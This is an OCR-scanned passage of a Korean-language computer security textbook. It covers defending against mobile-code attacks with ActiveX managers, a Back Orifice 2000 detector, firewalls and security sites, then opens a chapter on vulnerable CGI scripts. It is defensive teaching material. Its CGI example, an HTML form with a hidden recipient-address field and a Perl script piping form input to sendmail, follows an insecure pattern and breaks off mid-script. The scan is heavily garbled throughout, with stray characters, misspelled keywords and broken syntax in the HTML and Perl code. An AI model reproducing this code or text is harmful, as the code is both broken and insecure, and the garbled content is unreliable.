러한 보고자료도 없다. 결국 사용자는 B02K 가 그 어떤 사람의 기대에 설치되였는가를 
알아 보는 검사를 하고 그것을 지울수 있는 가능성을 가진다. 


제 3 절. 이동코드공격으로부티의 체계보호 


보안위협을 막는 두가지 취급방법이 있다. 첫번째 방법은 수동적으로 사용자체계들 
을 보호하기 위한 지식적이며 기초적인 기술적기교를 리용하는것이다. 편리상 새로운 기 
교들을 배우는것이 시끄리운 일이면 많은 기초적인 지식이 필요 없이 자동적으로 보안위 
협들을 막을수 있는 응용프로그람들을 리용할수 있다. 이것이 두번째 취급방법이다. 
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1. 보안응용프로그람 

현재 보안위협들과 싸우는 응용프로그람들을 전문적으로 만드는 완전한 산업이 있다. 
많은 사람들은 아마 가장 대중적 인 보안도구인 비루스검사프로그람들에 습관되여 있지만 
역시 보안을 위한 다른 응용프로그람들도 있다. 이동코드공격들에 대 한 문제들을 특별히 
취급한 일부 단독응용프로그람들을 보기로 하자. 

1) ActiveX 관리자 

등록된 조종체와 등록되지 않은 조종체들을 위한 보통도구는 regsvr32 이다. 이 지 
령행도구는 대단히 제한되여 있으며 체계에 있는 ActiveX 조종체들에 대한 대단히 많은 
정 보를 제 공하지 못하고 있다. 《Developers (개 발자들)》이 라고 부르는 회 사는 기 대 에 
있는 모든 ActiveX 조종체들을 목록화하며 그것들을 등록하거나 등록하지 못하게 하는 
ActiveX Manager (ActiveX 관리자)라고 부르는 보다 개선된 도구를 개발하였다(그림 
3-10). 이 도구는 일단 ActiveX 조종체가 동록만 되면 그것을 안전하게 지울수 있다. 하 
지만 ActiveX 의 리용에 대한 완전한 리해가 없이 그것을 마음대로 지우지 말아야 한다. 



그림 3-10. 4 Developers 에 의 한 ActiveX Manager 


2) Back Orifice 검출기 

시장거래되고 있는 McAfee 와 같이 B02K 의 검출을 요구할수 있는 일부 비루스검 
사프로그람들이 있으나 이것들의 대부분은 값이 비싸고 현재까지의 비루스들을 발견하기 
위하여 매 해 사용금을 지 불해 야 한다. 

현재 오스트랄리 아의 Diamond Computer System 회 사가 제공하는 B02K Server 
Sniper(BQ2K 봉사자저격수) 라고 부르는 무료대책 안이 특별히 있다(그림 3-11). 이 작은 
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파일은 임의의 구동기, 등록부 혹은 그것이 B02K 봉사자들일수 있다고 생각하는 임의의 
파일들에 대 한 파일검 사를 진행한다. 이 것은 비루스들을 검 출하기 위하여 매 우 유순한 
발자취 (footprint) 를 리용하는데 이것은 다양한 B02K 를 검출하는데는 좀 좋지만 반대 
로 역시 거짓서명을 검출할수 있는 가능성이 있다. 

B02K 봉사자저격수는 당신의 콤퓨터를 검사하여 B02K 봉사자들이 이름을 변화시켰 
다고 할지라도 가능한 그것들의 목록을 만들어 낼것이다. 또한 접속기파일들도 역시 검 
출되 나 보통 이 것 들은 봉사자실 행파일 내 에 포함되 므로 조금 여 유가 있 다. 

우리는 가능한 파일들을 선택하고 그에 대한 보다 많은 정보를 찾아 낼수 있다(그림 
3-12) . 이것은 그것을 어떻게 환경설 치 하였는가에 대 하여 알아 보려는 우리 에게 모든것 
을 제공할것이다. 우리는 이 정보의 감도를 보기 위하여 B02K 에 대한 얼마간의 리해를 
가질 필요가 있다. 실례로 그림 3-12 의 화면에서 우리는 관리자가 봉사자이름을 러용하 
여 파일이름을 결정하였다는것을 볼수 있다(이 경우에 그어떤 사람은 기정인 
umgr32.exe 을 유지하였다). 그런데 누가 그것을 설치했는가를 찾는다는것은 무엇을 말 
하는가? 



그림 3-11. B02K Server Sniper 
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그림 3-12. B02K Server Sniper 정 보창문 








해커들은 체계에 있는 봉사자에 접속하기 위하여 IP 주소를 알아야 한다. 자주 해커 
는 B02K 봉사자파일을 Usenet 새소식묶음들로 광고하기때 문에 누가 그것 을 내 리적재하 
고 설치했는가를 알지 못한다. 일단 봉사자가 활성화되면 당신의 IP 주소와 함께 해커에 
게 전자우편통보문을 실제로 보내는 봉사자용접속기가 있다. 만일 해커가 Butt 
Trumpet 2000이 라고 부르는 접속기를 리용하였다면 (우리는 이 러한 사용도구들의 이름 
붙이 기 를 변명 한다. 왜 냐하면 그것들은 모든것 으로 보아 해 커 들이 만든것 이 기 때 문이 다. ) 
우리는 실제로 UltraEdit 와 함께 봉사자 exe 파일을 열고 해커의 전자우편주소를 볼수 
있다. 우리는 Butt Trumpet 2000(BT2K) 접속기를 설치 하였으며 IP 주소를 우리의 우편 
주소로 보내도록 그것을 환경설치하였다. 그림 3-13 에서 우리는 hex(16 진)편집기의 오 
른쪽에 있는 주소를 볼수 있다. 주소를 찾기 위하여 UltraEdit 에서 Search, Find 를 선 
택하고 람색규준으로서 trumpet 를 넣으라(그림 3-14). Find ASCII 를 선택 하였는지 확 
인해야 하는데 왜냐하면 그것이 오직 16진코드를 통해서만 탐색되기때문이다. 



그림 3-13. BQ2K 봉사자로부터 전자우편주소를 보기 



그림 3-14. B02K 봉사자파일에서 Word Trumpet 를 람색 


일단 해커의 전자우편주소를 얻기만 하면 그를 좀 혼쌀낼수 있다. 만일 솜씨 있는 
해커라고 하면 가명을 한 전자우편봉사기를 리용할수 있다. 이것이 사실이라면 해커는 
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추격을 힘들게 또는 전자우편봉사기를 사용하지 못하게 만들수 있다. 그러나 우리는 공 
격보안과 관련하여 ISP, 웃쪽 제공자, 자기의 국부련합대리점과 접속할수 있다. 다른 
경우에 그 어떤 사람들은 그에게 전자우편을 보내여 지나친 친절성을 표시할수 있으며 
봉사에 관한 람용을 위하여 리용할수 있는 등록자리들을 알려 줄수 있다. 


• B02K Server Sniper http : //tds. diamondcs. com.. an/bo2kss. exe 

• UltraEdit www. ultraedit, com 

3) 방화벽쏘프트웨어 

방화벽 쏘프트웨 어 (Firewall Software) 의 한가지 주되 는 우점 은 Back Orifice 2000 
과 갈은 해 킹 프로그람들이 방화벽 을 돌파할수 없 다는것 이 다. 방화벽 쏘프트웨어 는 자기 
콤퓨터의 모든 포구들을 걸치는 인터네트로부터의 통과를 막을수 있다. McAfee 쏘프트 
웨어는 개별적 인 사용자들을 위한 개 인방화벽을 제공한다. 이 쏘프트웨 어를 가지고 우리 
는 자기의 모든 응용프로그람，체계봉사와 통신규약들을 려과할수 있으며 어떤 포구들을 
사용자들이 리용할수 있게 하겠는가를 제한할수 있다. 또한 우리는 모든 망접속들을 관 
리할수 있 다. 만일 응용으로그람이 인터 네 트에 접 속하려 고 하면 우리는 그에 대 한 통보 
를 받을것이며 이것을 승인하거나 승인하지 않을수 있는 선택권을 가질수 있다. 이 쏘프 
트웨어 는 19. 95$로 판매 되 고 있 다. 

2. Web 관련도구 

때때로 보안위협과 싸우는 당신의 가장 좋은 도구로는 인터네트가 될수 있다. 거기 
에는 HTML 로 작성된 일부 도구들과 당신의 기대에 있는 잠재적인 보안문제들을 식별 
하도록 도와 주는 스크립 트작성언 어 들이 있 다. 또한 인 터 네 트에 는 보안불레 찐 (잡지 )들을 
제공하는 좋은 싸이트들이 많다. 우리는 이제 Web 관련도구들의 일부를 고찰한다. 

1) 나쁜 ActiveX 조종체의 식별 

일부 용맹 한 보안의향을 가진 사용자들은 Internet Explorer 를 리용하여 나쁜 조종 
체들을 어떻게 식별하겠는가를 궁리한다. 우리는 어떤 다루기 힘든 조종체들이 체계에 
설치되 였는가를 식 별하기 위하여 VBScript 를 리용하여 HTML 문서를 만들었다. 우리 
경우에 우리는 극단적인 위험에 빠지게 하는 2개의 조종체와 중간위험에 빠지게 하는 하 
나의 조종체를 가지고 있었다(그림 3-15). 

이 조종체들을 가진 프로그람작성자는 목표로 삼은 Web 패지의 주인에 따라 그들의 
PC 에 비루스，트로얀프로그람을 설 치할수 있으며 그들의 하드구동기 에 접근할수 있을것 
이다. Ac 吐 veX 정보를 얻기 위해서는 www.tiac.net/users/smiths/acctroj'/axcheck. 
htai 에 가 보시오. 

92 






그림 3-15. 나쁜 ActiveX 를 검 사하는 HTML 폐 지 


2) 의뢰기보안갱신 

많은 Web 관련응용프로그람작성 자들은 보통 보안론의 점들을 추적 하기 위 한데 특별 
한 관심을 돌리는 Web 싸이트들을 기억하고 있다. 아무때나 새로운 위협이 발각되면 이 
를 위한 다음의 싸이트들을 참고할수 있다. 

• Microsoft 보안싸이 트 www. Microsoft, com/security 

• Netscape 보안쎈터 www. netscape, com/securit 


결 론 


이 동코드는 강력 한 특징 들과 내 용들을 첨 가하는데 서 는 대단한 기 능들을 가지 지 만 일 ^ 
련의 약점들을 가지고 있다. 전자우편은 직접 지정한 주소로 가기때문에 이 방법들을 가’* 
지고 해커는 단일회사나 지어 개인을 목표로 삼을수 있다. 이 장에서 론의한 다양한 형 . 
태의 이동코드들은 모두 그것들을 보안하는데 약간의 사색을 동반하나 기술은 보안구멍¬ 
들이 매 이동코드에서 발견되는것만큼 복잡하다. 지어 가장 큰 위험들은 2개이상의 이동' 
코드가 서로 호상작용하게 할 때 생긴다. 개별적으로는 그것들이 매우 안전해 보일수 있니 
지 만 협동하여 작업 할 때 에는 그것들이 보안에서 빠져 나갈 구멍 (Loophole) 들을 만들 
어 낼수 있다. 본질상 VBScript 와 ActiveX 가 함께 리용된다는 사실은 놀라운 일이며 t 
Microsoft 의 전자우편의뢰기들에 새로 첨가된 기능들은 이와 같은 론의점들을 보여 주& 
고 있다. 

보안위협들은 제품들이 완성되여감에 따라 그러고 있을수 있는 취약성들이 메꿔짐에 
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. ‘ 따라 줄어 든다. 그러나 말단사용자들에 대한 믿음은 자기들자체의 리익적견지에서 볼 
때 항상 얼마간 조심성 있는 여유를 가지고 있어야 한다. 보안경보들이나 위험성 있는 
코드를 사용하지 못하게 만드는 방법들을 허용하기 위해 그것들에 주어 진 선택권들을 
I； 무시하는 사용자들도 있지만 이것이 결코 뒤떨어 진 쓸데 없는 일은 아니다. 관리자들은 
마크로들을 가진 Office 문서들을 알고 작업할 때，쏘프트웨어를 내리적재할 때, 자기들 
徒 ’ 11 의 열람기와 Web 봉사기들을 환경설치할 때 그리 고 작업 하는 로동자의 유연성을 제 한하 
ᄂ는 규정들을 실시할 때 평장히 큰 위험들과 맞다 든다. 관리자들과 말단사용자들은 지어 
방화벽 들과 비 루스방지 도구를 가지 고도 이 동코드로부터 자기 자신들을 보호하기 가 힘 들다. 
H 그들은 모든 마크로, Java, JavaScript, VBScript 그리 고 ActiveX 조종체들을 쓸모 없 
，々 게 하거 나 사용하지 못하게 만들수 있다. 

자기의 코드작성과 자기 회사에 복무하는 말단사용자들의 믿음을 얻기 위하여 그리 
고 자기 사용자들에게 제공하는 혜택을 그들이 누리도록 하기 위하여 우리는 반드시 신 
^ 용장해물을 리 해 한 다음 그 장해물을 넘 어 가야 한다. 즉 인증증명서들과 같은 보안관측 
I 수단들은 사용자들의 심 중성 과 그들의 신용지 수를 순전히 믿 는다. 만일 코드가 수표 안 
& 3 되 고 우리 가 정 당한 증명서를 가지 고 있지 않거 나 또한 코드가 스크립트작성 용표식 이 붙 
_ 은 안전코드가 아니 라면 그것 은 사용자열 람기 에서 거 절 당할수 있거 나 지 어 사용자열 람기 
丁ᅭ거 를 파괴해 버릴수 있다. 
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1. 이동코드공격의 영향에 대한 인식 



- 열람기공격들은 Web 페지들을 방문할 때 일어 날수 있다. 

HTML Web 페지가 나타나자마자 이동코드는 자동적으로 의뢰기체계에서 실행되 
기 시작할것이다. 

- 우편의 뢰기 공격 들은 전자우편물이 HTML 양식화된 통보문들을 리용하여 보내질 
때 발생한다. 일단 통보문이 열리거나 미리보기창문에 나타나기만 하면 그것은 실 
행하기 시작할것이다. 

- 문서 들은 문서 가 열 릴 때 실 행할수 있는 마크로들이 라고 부르는 작은 코드조각들 
을 포함할수 있다. 이 코드는 많은 체계자원들에 접근하도록 되여 있기때문에 상 
처를 입힐수 있는 능력을 가진다. 


2. 이동코드의 일반적인 양식의 식별 



- VBScript 와 Microsoft 의 JScript 는 ActiveX 조종체 들파 호상작용할수 있는데 이 
때 만일 ActiveX 조종체를 제한된 체계자원들에 접근하게 한다면 보안문제거리들 
을 야기시킬수 있다. 

- ActiveX 보안기 구는 ActiveX 조종체 를 설 치 할것 을 허 락하는가를 사용자들에 게 문 
의하는것으로써 불안전코드를 포함할수 있다. 

- Java 애플레트들은 가장 안전한 형태의 이동코드이다. 

오늘까지 Java 애플레트들때문에 심중한 보안돌파들이 생긴적은 없다. 

- 전자우편첨부물들로부터 오는 가장 거대한 위협은 사실 그것들이 어떤 비법적인 
일을 할 때 그것 들로 하여 금 어 떤 일을 하게 끔 요구하는 트로얀프로그람들이다. 
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3. 이 동코드공격 으로부터 의 체 계보호 

- 보안위협을 막는 두가지 취급방법 이 있다. 

하나는 사용자체계들을 수동적으로 보호하기 위한 지식적이며 기술적인 기교를 리 
용하는것이다. 두번째는 자동적으로 보안위협들을 물리치도록 특별히 설계된 보안之 
응용프로그람들을 리 용하는것 이 다. 

- 각이한 형태의 보안응용 프로 그람들에는 비루스검사 프로 그람, Back Orifice 검출기, 
방화벽 쏘 프트웨 어， Web 관련도구들과 의뢰기 보안갱 신 프로 그람들이 속한다. 


것 


물음과 대답 




이 장의 물음에 대한 대답은 저자가 준것이다. 

문답들은 이 장에서 서술한 개 념들을 리해 하고 실생활을 통하여 체험 하도록 하는데 



도움을 줄것이다. 독자들의 질문에 대한 저자의 답변을 듣자면 WWW. Syr 保 ress . : 
com / solutions 의 《Ask the Anthor ) (저자에게 문의)을 누르시오. 

물음: 그처럼 보잘것 없는 비법적인 이동코드프로그람들이 있다고 해도 왜 사용자는' 
나의 접속기 나 ActiveX 프로그람을 믿지 않는가? 



대답: 해커들은 자기들이 결심만 하면 얼마든지 보다 많은 비법적인 프로그람들을 

만들것이다. 가장 많은 보안규정들은 설사 프로그람이 보안이라고 할지라도니 | 
그 프로그람을 흠집이 생기지 않도록 쓸모 있게 만드는 방법을 100%로 믿는@ 
사용자들이 실제로 존재하지 않는다는데 주의를 준다. 


물음: 사용자는 ActiveX 보다 더 잘 안전한 Java 를 감촉하고 있는가? 

대답: 그것은 사용자의 모험과 의식수준에 관계된다. ActiveX 는 어쨌든 그 어떤 사; c；t " 
탐이 수자서 명 에 기 초한 프로그람만을 받아 들일 것 을 결 심할것 이 라는 인간의 : 
판단력을 믿는다. 하여튼 사용자는 Java 와 관련한 모래통 ( sandbox ) 기술에 • 

의한 보안이 뒤떨어 지지 않은 기술이 라는것을 믿는것 이 중요하다. 


물음: JScript 와 JavaScript 사이 차이는 무엇 인가? 

대답: Jscript 는 Microsoft 판본의 JavaScript 이다. JScript 와 JavaScript 의 주요한 차 " 1 
이 는 JScript 는 VBScript 가 하는것과 꼭 같은 방법 으로 Microsoft ActiveX 부 * 

분품들과 호상작용할수 있다는것 이 다. 

물음 : 사용자는 나의 Ac 仕 veX 조종체 를 설 치 및 파괴할수 있는가? 

대답: ActiveX 조종체들은 반드시 설치해제특징을 가져야 한다. 이를 위하여 사용자ᄂ 
는 Start [ Settings | Control Panel | Add/Remove Programs 으로 갈것 이 다. 
Shockwave 와 같이 지워야 할 일부 프로그람들은 Windows 등록부의 부분등 ^ J 
록부 Downloaded Program files (내 리 적재된 프로그람파일들) 에서 나타난다 
가장 많은 Ac 仕 veX 조종체들을 지우기 위한 다른 공개적 인 방법은 없다. 


a \ 
것 
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제 4 장. 파고 I 되기 쉬운 

CGI 스크립트 


이 장의 기본체계 

必 CGI 스크립트란 무엇 이며 

그것은 무엇을 하는가 
판 약한 CGI 스크립트로부터 

초래되는 침입 
관 CGI 스크립 트를 작성 하기 

위한 언어 

판 CGI 스크립트를 리용하는 우월성 

必 안전한 CGI 스크립트를 

작성 하기 위 한 규칙 

會 결론 
9 요약 


o 물음과 대답 



소 개 


Web 응용프로그람에 서 작업하는 프로그람작성 자는 자기 의 싸이 트를 Web 양식 들을 
통하여 정보를 모으는것과 같은 일을 하게 하거나 전용화하고 싶다면 반드시 HTML (하 
이 퍼 본문표식언 어 ) 을 알고 있 어 야 한다. 우리 는 이 때 Web 프로그람을 작성하여 야 하는 
데 현재 리 용되는 가장 보편적인 형식이 CGI (Common Geteway Interface ) 이다. CGI 
는 Web HTTP 봉사기에서 외부프로그람들을 달리게 하기 위한 규칙들을 리용한다. 외 
부프로그람들은 그것들이 봉사기에 바깥정보를 열어 주기때문에 관문 ( geteway ) 들이라 
고 한다. 

Web 싸이트를 전용화하거 나 의뢰 기들의 활동을 더해 주는 다른 방법들도 있다. 우 
리는 JavaScript 를 리용할수 있는데 이것은 의뢰기측 스크립 트작성언어 이 다. 만일 개 발 
자가 자기의 Web 싸이트에 호상작용하는 변화들을 빠르고 쉽게 보겠다고 하면 그 방법 
은 ◦이로 해 야 한다. ◦이의 일 반적 인 실례는 Web 싸이 트의 《 방문자계수기 (Visitor 
Counter )》 일것이다. CGI 는 자료기지로부터의 레코드들의 횡령，들어 오는 양식들의 
리용，파일에 자료의 보관，의뢰기측으로 정보의 귀환(되돌려 보내기)，일부 기술적특징 
들에 대 한 이름붙이기 등을 할수 있다. 개 발자는 Perl , Java 로 자기의 CGI 스크립트들을 
작성할수 있는데 C ++ 는 그리 많이 사용하지 않는다. 

물론 ◦이와 작업할 때 보안을 고려하여 야 한다. 파괴 되 기 쉬 운 CGI 프로그람들은 
그것들을 배치하기가 간단하고 또 그것들이 Web 봉사기쏘프트웨어의 특권들과 능력들을 
리용하여 동작하기때문에 해커들에 게 매혹적 이 다. 빈약하게 작성된 CGI 스크립트는 사용 
자의 봉사기를 해커들에게 열어 줄수 있다. 위스커 ( whisker ) 의 방조밑에 해커는 CGI 취 
약성을 강하게 채용할수 있다. 위스커는 CGI 의 취 약성을 알아 내기 위하여 Web 봉사기 
를 조사할수 있도록 특별히 설계되여 있다. 빈약하게 코드화된 CGI 스크립트들은 방화벽 
으로 보호된 Web 봉사기들에 접근하는데 리용된 원시적인 방법들에 속한다. 그러나 임 
의 의 해 커 도구도 개 발자들에 의하여 그리 고 도구의 우점 을 자기 들의 소유물로 만든 
Web 전문가들에 의하여 리용될수 있다. 


제 1 절. CGI 스크립트란 무엇이며 그것은 무엇을 하는가 


CGI 는 외부응용프로그람들에 접속하기 위한 Web 봉사기들에 의해 리용된다. 그것은 
Web 봉사기에 거주하는 프로그람과 싸이트를 방문하는 방문자들사이로 자료를 앞뒤로 
통과시키기 위한 방법을 제공한다. 다시 말하여 ◦이는 Web 봉사기와 인터네트응용프로 
그람사이 통신련결을 보장하는 중개자로서 행동한다. 갈은 밥법으로 ◦이는 Web 봉사기 
에 자료를 통과시키는 프로그람이 나 스크립트를 허용하므로 이 출구는 그다음 사용자에 
게로 계속 통과될수 있다. 

CGI 7}- 어떻게 동작하는가를 보기 위하여 그림 4-1 로 가자. 이 그림 에서 우리는 일 
반적인 CGI 거래에서 일어 나는 여러 단계들을 볼수 있다. 이때 매 단계들은 번호로 표 
시되여 있는데 다음과 같이 단계별로 나누어 설명한다. 

단계 1에서는 사용자가 Web 싸이트를 방문하고 Web 봉사기에 요구를 제기한다. 실 
례로 사용자가 명부에 기입되여 있고 따라서 그 어떤 사람의 기입정보를 변화시키려고 
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한다고 보자. 사용자는 등록자리 번호, 이 름 그리 고 Web 페지양식 으로 주소를 넣 은 다음 
Submit 를 찰칵한다. 그러 면 이 정 보를 처 리 하기 위하여 Web 봉사기 로 보낸 다. 


인러네®사용자 w 사봉사기 



CGLS •로그람 

그림 4-1. 일반적 인 CGI 프로그람에 포함된 단계 


단계 2에서는 CGI 가 처 리 한 자료를 얻는데 리용된다. 갱 신된 자료를 수신하는것을 
끝내 고 Web 봉사기 는 제 기된 자료를 CGI 요구로서 식 별한다. ◦이를 리용하여 양식자료 
는 외 부응용프로그람에 로 통과된다. ◦이는 TCP/IP 통신규약의 한 부분인 하이퍼 본문전 
송규약 (HTTP : Hypertext Trsnsfer Protocol) 을 리 용하여 통신 하기 때 문에 Web 봉사기 
의 CGI 지원은 이 규약을 다음단계에로 계속 정보를 통과시키는데 리용한다. 

일단 CGI 가 분리된 프로그람에로 자료를 통과시키는데 리용되기만 하면 응용프로그 
람은 다음 그것 을 계 속 처 리한다. 우리 는 현재 자료를 재 쓰기 하면서 자료기 지 에 그것 을 
단순히 보관하거나 그것을 보관하기전에 현재정보와 자료를 비교할수 있다. 이 시점에서 
(단계 3과 4) 정확히 무엇이 생기는가는 인터네트응용프로그람에 관계된다. 만일 ◦이응 
용프로그람이 단순히 입구를 받기만 하고 출구를 되돌려 주지 않는다면 우리의 이 야기는 
이것으로 끝날수 있다. 많은 CGI 응용프로그람이 입구를 받고 출구를 되돌리는 동안 일 
부코드는 단순히 이것 저것 아무거 나 수행할수 있다. 실현하자고 설계한 과제들을 그것들 
이 실현하는것처럼 프로그람이나 스크립트들의 거동과 관련한 엄격하고 재치 있는 규칙 
들은 아직 없는데 이것 은 자기의 망에서 리용하기 위한 프로그람이 나 자기 가 사서 리 용 
하는 인 터네 트와 관련 없는 응용프로그람들사이 에 차이 가 전혀 없 다는것 을 의 미한다. 

만일 응용프로그람이 자료를 되돌리 면 단계 5가 발생한다. 우리 는 실례 에서 그것 이 
자료기지 에 보관된 자료를 읽 고 Web 폐지양식 으로 Web 봉사기 에 로 이것을 되돌린다고 
가정할것 이 다. 그로부터 ◦이는 Web 봉사기 에 로 자료를 되 돌리 는데 다시 리 용된 다. 단계 
6에서는 Web 봉사기가 Web 페지를 사용자에게 되돌리고 공정을 끝낸다. 이때 HTML 문 
서는 사용자의 열람기창문에 현시될것이다. 이와 같이 ◦이는 사용자가 공정을 성과적으 
로 끝냈다고 보고 사용자에게 보관된 정보를 임의의 오유에 관해서 심사하게 한다. 

CGI 가 어떻게 동작하는가를 보는데서 우리는 거의 모든 작업이 Web 봉사기에서 진 
행된 다는것 을 알수 있 다. 요구를 제 기 하고 출구 Web 폐 지 를 수신하는것 을 제 외 하고 
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Web 열 람기는 CGI 공정밖에 있게 된다. 이것은 CGI 가 봉사기측 스크립트작성과 프로그 
람들을 리용하기때문이다. 코드는 봉사기에서 실행되므로 싸이트를 방문할 때 어떤 형 
태의 열람기를 사용자가 리용하는가에는 관계가 없다. 이것으로 하여 사용자의 인터네 
트열 람기는 ◦이를 지 원할 필요가 없으며 또한 실행하는 프로그람이 나 스크립 트를 위 한 
특별한 쏘프트웨어 가 필요 없다. 사용자의 관점 에서 보면 무엇 이 일 어 나는가는 한 
Web 폐지로부터 다른 폐지에로 이동하는 하이퍼 련결 (hyperlink) 에서 찰칵하는것밖에 
별 차이가 없다. 


(玄 )差1_ 

、女’ CGI 프- 


『CGI 프로그람들과 CGI 스크립 트들을 론하는데 서 사람들이 CGI 가 인 터네 트응용 

프로그람을 만들기 위하여 리용된 언어라고 믿는것은 정상적인 일이다(이것은 진실 
과 그러 먼것은 아니 다). 개 발자들은 CGI 언어 로 프로그람을 작성할수 없는데 왜 냐 
하면 이와 같은것이 전혀 없기때문이다. 이 장에서 앞으로 보여 주겠지만 Perl, C, 
C++, VB 등을 비롯하여 CGI 프로그람을 만드는데 리용할수 있는 수많은 언어들이 있 
다. ◦이는 프로그람자체 는 아니 지 만 중간물로서 Web 봉사기 와 인 터네 트응용프로그 
람 혹은 스크립트사이에 정보를 교환하는데 리용되였다. ◦이라고 생각하는 가장 좋 
은 방법 이 Web 봉사기 와 인터네 트응용프로그람사이 로 정 보를 통과시키 는 중개 자 
(middleman) 라고 보는것이다. ◦이는 둘사이로 자료를 나르는데 이것은 결국 접대 
원이 료리사와 고객사이로 음식물을 나르는것과 같은 방법 이다. 하나가 요구를 제기 
하면 한편 다른것 은 그것 을 준비한다. 즉 ◦이는 둘 다 무엇 이 필 요한가를 받아 들 
이는 의미이다. 


1. CGI 스크립트의 대표적인 리용 

CGI 프로그람과 스크립트들은 탁상응용프로그람과 류사한 기능을 제공하는 싸이트를 
가지게 한다. HTML 자체는 Web 페지가 만들어 질 때 특징 지어 지는 정보를 현시하는 
Web 폐지 들을 창조하기 위하여 리 용될수 있다. 그것은 폐지 가 만들어 질 때 타자되 여 
들어 간 본문과 사용자가 특징 짓는 다양한 그라프들을 보여 줄것이다. ◦이는 이것을 
뛰 여 넘어서 정적 인 정보를 제공하는것으로부터 동적 이면서 호상작용하는 정보에 이르기 
까지 모든 정보를 싸이트에서 취한다. CGI 를 다양한 방법으로 리용할수 있다. 

그림 4-2 에서 보여 준 CGI 실례 는 직결경매점 인 eBay 에 의한 그의 리용실례 이 다. 
◦이는 부르는 값들의 처리, 개별적인 거래들을 Web 페지에 보여 주기 위한 사용자등록 
처리, 경매를 붙이는 동안 주목되는 항목처리 등에 리용된다. 

이것은 매매카드 (Shopping Cart) 들을 제공하는 CGI 프로그람，사용자가 사려고 선 
택 한 항목들을 추적하는 CGI 프로그람에 리용하는 싸이트들과 류사하다. 일단 사용자들 
이 매매 (팔고사기)를 끝내 려고 결심하면 고객들은 항목들을《검사》해 내고 구입을 위 
한 또 다른 CGI 스크립트를 리용한다. 

한편 eBay 와 전자상거래싸이트들과 같은 싸이트들은 업무를 수행하는 보다 복잡한 
CGI 스크립트들과 프로그람들을 리용할수 있다. 또한 특수한 싸이트를 방문한 사용자들 
의 인원수를 보여 주는 계수기를 비롯하여 ◦이와 Web 에 대 한 수많은 다른 일반적 인 사 
용들이 있을수 있다. Web 페지가 호출될 때마다 CGI 스크립트는 계수기의 값을 1 만큼 증 
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가시킨다. 이것은 Web 전문가들이 주목하는 페지가 얼마나 자주 보여 지는가를 볼수 있 
게 하며 가장 자주 호출되고 있는 내용물의 형태를 알수 있게 한다. 



그림 4-2. 직결작용을 위 한 CGI 의 eBay 리용 


손님 책 (Guest Book ) 들과 잡담방 (chat room ) 들은 CGI 프로그람들을 리 용하는 다른 
일반적인 실례들이다. 잡담방들은 사용자들에게 통보문들을 광고하게 하여 서로 직결적 
으로 잡담하게 한다. 이것은 사용자들이 아무러한 조건부도 없이 개인정보들을 교환할수 
있게 한다. 이것은 공개토론회에서처럼 화제거리를 론의할 때 사용자들에게 행동의 자유 
를 준다. 손님책들은 사용자들이 Web 페지싸이트에 대한 자기들의 설명문들을 광고하게 
한다. 사용자들은 손님책에 자기식의 설명문과 개 인정보(자기들의 이름과 전자우편주소) 
를 넣는다. Submit 를 찰칵하는데 따라 정보는 Web 페지에 부가되며 따라서 손님책의 내 
용물들을 보려고 하는 아무런 사람한테도 공개되 여 그것을 보여 줄수 있다. 

◦이의 또 다른 대중적인 사용은 설명문이나 반결합물 ( feedback ) 양식들인데 이것은 
사용자들에게 싸이트나 회사제품에 대한 자기들의 주장，칭찬과 비난의 목소리를 전자우 
편으로 보낼수 있게 한다. 많은 경우에 회사들은 이것들을 고객봉사를 위하여 러용하기 
때문에 고객들은 회사에 접속하는 전형적 인 쉬운 방법을 가진다. 그림 4-3 은 방문자들로 
부터 반결합물을 요구하는데 리용하는 양식을 보여 준다. 사용자들은 자기들의 이름，전 
자우편주소 그러고 이 페지에 대한 설명문들을 넣는다. 그리고 Send 를 찰칵할 때 정보 
는 정한 전자우편주소에로 전송된다. 

이 페지의 HTML 내 용물을 볼 때 우리는 Web 페지 자체 에 관한 정보가 대 단히 적게 
포함된다는것을 알수 있다. 다음의 코드에서는 설명문양식을 Web 페지우에 창조하였다. 
POST 방법은 comment.pi 이라고 부르는 CGI 프로그람의 다양한 마당들에 넣어 지는 정 
보를 통과시키는데 리용된다. 마당정보들은 이른바 이름(사람의 이름에 대하여)，전자우 
편(그들이 입력시킨 전자우편주소에 대하여) 그리고 반결합물(그들 개인적인 설명문들에 
대하여)과 갈은 변수들로 이름을 불였다. 프로그람은 자기가 수신한 자료를 처 리한후 전 
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자우편통보문을 주소 mcr _8 freBb & cLa ■■ 至 보낼것 이 다. 이 모든것은 양식마당들에 돌 
려 진 다양한 값들을 통해 특징 지 어 진다. 



1 rJi, ■ ^ * 4 - -J. ^ -i' d - 





그림 4-3. 전자우편주소로 반결합물을 전송하기 위해 
CGI 를 리용하는 설명문양식 


<HTML> 

<HEAD> 

<TITLE>Send Comments</TITLE> 

</HEAD> 

<BODY BGCOLOR= “#FFFFFF” > 

<H2>Comment Form</H2> 

〈FORM METOD= “post” ACTION= “/cgi-bin/comment. pi” > 

<B>Name：&nbsp； </B><INPUT NAME= “name” SIZES=50 TYPE= “text”><BR> 
<B>E-mail : tobsp : </B><INPUT NAME= “e-mail” SIZES=50 TYPE= “text”><BR> 
<INPUTTYPE= “hidden” NAME= “sOubmitaddress” 

VALUE=mcross8f reebsd. org> 

<P>&nbsp : <B>Comments : </B></P> 

<P> 

<TEXTAREA NAME= “feedback” ROWS=10 COLS=50></TEXTAREA> <P> 
<CENTER> 

〈INPUT TYPE=submit VALUE= “SEND”〉 

〈INPUT TYPE=reset VALUE= “CLEAR”〉 

</CENTER> 

</BODY> 

</HTML> 
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한편 HTML 이 자료를 취 하고 변수들을 통과시키는 ◦이를 리용하는 수단(도구)으로 
서 봉사한다면 스크립 트자체 는 실제 적 인 작업 을 수행한다. 

이 경우에 스크립트는 Perl 언어로 작성된다. 

코드에서 설명문들은 기호 를 가지고 시작되는데 처리할 때에는 무시된다. 
Comment, pi 라고 부르는 Perl 스크립 트로 작성 한 코드는 다음과 같다. 

# The following specifies the path to the PERL interpreter. 

# It must show the correct path, or the script will not work 

# ! / usr/local/bin/perl 

# The following is used to accept the form data, which is used 
t in processing 

if ($ENV{ < REQUEST_METHOD , }eq TOST) { 

{ 

read(STDIN, $buffer, $ENV{‘CONTENT_LENGTH，}); 

Sparis=splot(/&/, Sbuffer) ； 
foreach $pair (通 pairs) { 

(Sname, $value) =split (/=/, $pair) ； 

$value=~tr/+// ； 

$value=~s/% ([a-fA-FO-9] [a-fA - FO - 9]) /pack (“C”, hex ($1)) /eg ； 

$FORM {$name}=$ value ； 


# The following code is used to send e-mail to the 

# specifies e-mail address 

open (MESSAGE “| / usr/lib/sendmail -t”; 
